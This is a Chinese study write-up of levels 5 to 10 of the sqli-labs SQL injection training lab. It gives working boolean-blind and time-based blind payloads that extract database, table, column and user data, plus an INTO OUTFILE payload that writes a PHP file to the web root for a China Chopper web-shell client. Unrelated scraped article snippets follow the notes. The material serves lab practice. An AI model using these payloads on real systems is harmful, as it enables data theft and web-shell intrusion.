sqli-libs(5-10关)
Less_5
补充基础知识
1. left(a,b)左侧截取a的前b位,正确则返回1,错误则返回o
Select left(database(),1)=’s’;
其中database()为security,截取的是第一个字母’s’,正确返回1
2. regexp函数 select user() regexp ‘r’;
user()的结果是root, regexp 为匹配root的正则表达式(实验之后正确返回为1,错误返回0)
3. like函数 select user() like’ro%’; 用法与regexp一样
4. substr(a,b,c) select substr() XXx
Substr(a,b,c)从位置b开始,截取a字符串c位长度
5. ascii() 将某个字符串转化为ascii值 select ascii(‘s’);
6. chr(数字) 或者是 ord(‘字母’)
使用python中的两 个函数可以判断当前的ascii值是多少
对于security数据库: (打开SQL命令 输入use security)
select left (database(),1)=’s’; 前1位是否是s
select database() regexp ’s’; 匹配第1个字符是否是s
select database() like ‘s%’; 匹配第1 个字符是否是s
select substr((select database()),1,1)=’s’; select database()表示security
substr((security),1,1)从第一位开始截取security的1位长度
即匹配第一个字符是否是s
select substr((select database()),1,3)=’sec’; 匹配前三个字符是否是sec
select ascii(substr((select database()),1,1)); 直接回显115 ;
select ascii(substr((select database()),1,1))>110; 如果大于110,就会返回1,否则返回0.
less5使用‘1’包裹;
输入语句正确则显示:you are in
判断数据库第一位是不是s:?id=1' and left((select database()),1)='s'--+
用爆破形式:通过返回的长度来确定第一位是多少,依次类推;
通过二分法查询库的值:红色为可变参数
?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>99--+
通过二分法可猜解到security下的所有表,其中红色可变为参数:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1--+
通过二分法可猜解users内的字段,其中红色为可变参数:?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1))>1--+
继续猜解可得到字段内的值:?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))>1--+
Less_5总结:
Less_6
Less-06:?id=1” 包裹
其他操作与第五关相同
Less_7
补充知识:
Show variables like ‘%secure%’;
secure_file_priv 显示为空,会禁止数据导入导出
解决方法:打开phpstudy——mysql——my.ini——添加一句:secure_file_priy=”/”
常见的一句话木马:
在www文件中新建PHP文件,内容输入:
Load_file() 读取本地文件
Select load_file(‘C:\\phpstudy\\WWW\\test.txt’);
Into outfile 写文件 文件位置:C:\phpstudy\mysql\data
Select ‘mysql is very good’into outfile ‘test.txt’;
Less-07: ?id=1’))进行包裹,其他操作与less5相同 ;
需要下载中国菜刀;打开菜刀,右键添加,写入127.0.0.1/test.php 就可以了;
输入:?id=1')) union select 1,2, 'crow' into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\sqli-labs-master\\Less-7\\a.php'--+,执行
再输入http://192.168.17.111/sqli-labs-master\\sqli-labs-master\\Less-7\\a.php,执行,
打开菜刀,右键添加,写入192.168.17.111/a.php 即可。
Less_8
方法一:布尔盲注:
?id=1’ 进行包裹 其他操作跟第五关一样进行猜测就可以
补充知识:
方法二: 时间盲注
Sleep(秒数) 睡眠几秒再显示
先使用security数据库,
select if(ascii(substr((select database()),1,1))>10,2,3)
使用延迟的方法判断是和否存在注入漏洞:?Id=1’ and sleep(5)--+
当为8的时候加载的很快,而当其他值的时候加载较慢(5秒左右),说明此时数据库长度为8 ?id=1' and if(length(database())=8,1,sleep(5))--+
Less_9
?id=1 或者?id=1’ 发现前面所学的都试了之后,并没有报错
?id=1’ and sleep(5)--+ 使用这个语句时候,发现网页会停顿5秒,所以存在注入漏洞
我们可以使用less8中的时间盲注进行操作,不可以使用布尔盲注;
?id=1'and if(length(database())=8,1,sleep(5))--+ 修改红色部位的数,猜测数据库名有几位
?id=1'and if(ascii(substr((select schema_name from information_schema.schemata limit 5,1)1,1))>12,1,sleep(5))--+使用less8中同样的方法进行判断即可。
less_10
Less10: ?id=1’’ 进行包裹 其他操作与less9基本一致。
sqli-libs(5-10关)的更多相关文章
- Monyer's Game 6~10关过关方法
从Monyer's Game开通到现在,已经有50多人通关了.其中绝大部分人,不管是自己独立完成也好,参考别人也罢,都是自己一步一步过去的.像陆羽兄弟甚至已经为游戏做好了整个通关的教程,在此Monye ...
- SQLI DUMB SERIES-9&&10
第五关.第八关以及第九关.第十关都是使用盲注,除了第五关说的双注入外,也可使用时间注入法 (1)无论输入啥,都回显相同 (2) ?id=1' and sleep(3) --+ 发现有明显延迟,说明可以 ...
- 风变编程(Python自学笔记)第10关-工作量计算器
1.%f的意思是格式化字符串为浮点型,%.1f的意思是格式化字符串为浮点型,并保留1位小数. 2.向上取整:ceil() 使用ceil()方法时需要导入math模块,例如 1 >>> ...
- SQL注入靶场sqli-labs 1-65关全部通关教程
以前说好复习一遍 结果复习到10关就没继续了 真是废物 一点简单的事做不好 继续把以前有头没尾的事做完 以下为Sqli-lab的靶场全部通关答案 目录: less1-less10 less10-les ...
- Monyer's Game 11~15关过关方法
到目前为止,玩这个小游戏并过关的人数已经达到了81人,首先Monyer要感谢各位的捧场与支持.继续上次的<Monyer's Game 6~10关过关方法>,我们来看剩下几关的过关方法. 但 ...
- [Python]Codecombat攻略之远边的森林Forest(1-40关)
首页:https://cn.codecombat.com/play语言:Python 第二界面:远边的森林Forest(40关)时间:2-6小时内容:if/else.关系操作符.对象属性.处理输入网页 ...
- [Python]Codecombat攻略之地牢Kithgard(1-22关)
首页:https://cn.codecombat.com/play语言:Python 第一界面:地牢 Kithgard(22关) 时间:1-3小时 内容:语法.方法.参数.字符串.循环.变量等 网页: ...
- [Python] Codecombat 攻略 Sarven 沙漠 (1-43关)截止至30关
首页:https://cn.codecombat.com/play语言:Python 第二界面:Sarven沙漠(43关)时间:4-11小时内容:算术运算,计数器,while循环,break(跳出循环 ...
- mariadb 10.2/mysql 8.0实现递归
借助mysql 8.0的cte(它是iso sql标准的一部分),可以实现递归,mariadb 10.2.2开始支持递归cte,如下: +----+----------+--------------+ ...
- [Python] Codecombat 攻略 地牢 Kithgard (1-22关)
首页:https://cn.codecombat.com/play语言:Python 第一界面:地牢 Kithgard(22关) 时间:1-3小时 内容:语法.方法.参数.字符串.循环.变量等 网页: ...
随机推荐
- mybatis(五):源码分析 - 参数映射流程
- OpenShift 4.3环境中创建基于Go的Operator
详细步骤可以参考官方文档 https://docs.openshift.com/container-platform/4.3/operators/operator_sdk/osdk-getting-s ...
- 【15】【有点特殊的dp】 剪绳子
题目 给你一根长度为 n 的绳子,请把绳子剪成整数长度的 m 段(m.n都是整数,n>1并且m>1),每段绳子的长度记为 k[0],k[1]...k[m] .请问 k[0]k[1]...* ...
- 银行贷款利率低到“令人发指”,很多人还坚持借高利贷,why?
编辑 | 于斌 出品 | 于见(mpyujian) 网络上,每隔一段时间,就会出现因为借了高利贷,家破人亡的新闻. 这种现象,层出不求,但其实,我们每次看了这些新闻,只是为其感到惋惜,并没有进一步去发 ...
- 刷题75. Sort Colors
一.题目说明 题目75. Sort Colors,给定n个整数的列表(0代表red,1代表white,2代表blue),排序实现相同颜色在一起.难度是Medium. 二.我的解答 这个是一个排序,还是 ...
- C++学习网站总结
http://club.topsage.com/thread-361504-1-1.html Visual C++ (VC) / MFC 电子书下载: Visual C++ 2008 入门经典 (中文 ...
- Java 读取网络资源文件 获取文件大小 MD5校验值
Java 读取网络资源文件 获取文件大小 MD5校验值 封装一个文件操作工具类: package c; import java.io.*; import java.net.HttpURLConnect ...
- 每天进步一点点------FIR(一)
在数字信号处理系统中,有限脉冲响应(finite impulse response,FIR)数字滤波器是一个非常重要的基本单元.近年来,由于FPGA具有高速度.高集成度和高可靠性的特点而得到快速发展. ...
- Python记:通用的序列操作之成员资格(听起来倒是有些抽象的!)
______________________________永远守护这一尘不染的真心! 要检查特定的值是否包含在序列中,可使用运算符in.它检查是否满足指定的条件,并返回相应的值:满足时返回True, ...
- java基础(八)之函数的复写/重写(override)
复写的意思就是子类对父类的修改. 复写的条件: 1.在具有父子类关系的两个类当中:2.父类和子类各有一个函数,这两个函数的定义保持一致(返回值类型.函数名.参数列表) 还是老样子,3个文件来说明. P ...